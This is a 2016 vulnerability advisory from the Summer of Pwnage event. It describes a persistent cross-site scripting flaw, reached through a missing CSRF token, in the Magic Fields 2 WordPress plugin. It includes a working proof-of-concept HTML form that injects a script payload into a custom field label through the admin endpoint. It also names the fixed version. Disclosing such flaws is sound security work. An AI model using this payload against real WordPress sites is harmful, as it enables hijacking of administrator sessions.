Burak Kelebek, July 2016

Persistent Cross-Site Scripting in Magic Fields 2 WordPress Plugin

Abstract

A Cross-Site Scripting vulnerability was found in the Magic Fields 2 plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0017

Tested versions

This issue was successfully tested on Magic Fields 2 version 2.3.2.4.

Fix

This issue is fixed in version 2.3.3

Details

The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The magic field lacks output encoding which could result in malicious script inserted by an attacker.

You need to lure a logged-in admin to follow a malicious link containing the poc below.

Proof of concept

The proof of concept below injects script code in the "Login Required Message" in the settings page.

<html>
   <body>
      <form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=mf_dispatcher&init=true&mf_section=mf_custom_fields&mf_action=save_custom_field" method="POST">
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;id&#93;" value="" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;post&#95;type&#93;" value="page" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;custom&#95;group&#95;id&#93;" value="" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;label&#93;" value="foo&quot;&gt;&lt;script&gt;alert&#40;1&#41;&lt;&#47;script&gt;" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;name&#93;" value="foo" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;description&#93;" value="asdasdasd" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;type&#93;" value="audio" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;required&#95;field&#93;" value="0" />
         <input type="hidden" name="mf&#95;field&#91;core&#93;&#91;duplicate&#93;" value="0" />
         <input type="hidden" name="submit" value="Save&#32;Custom&#32;Field" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>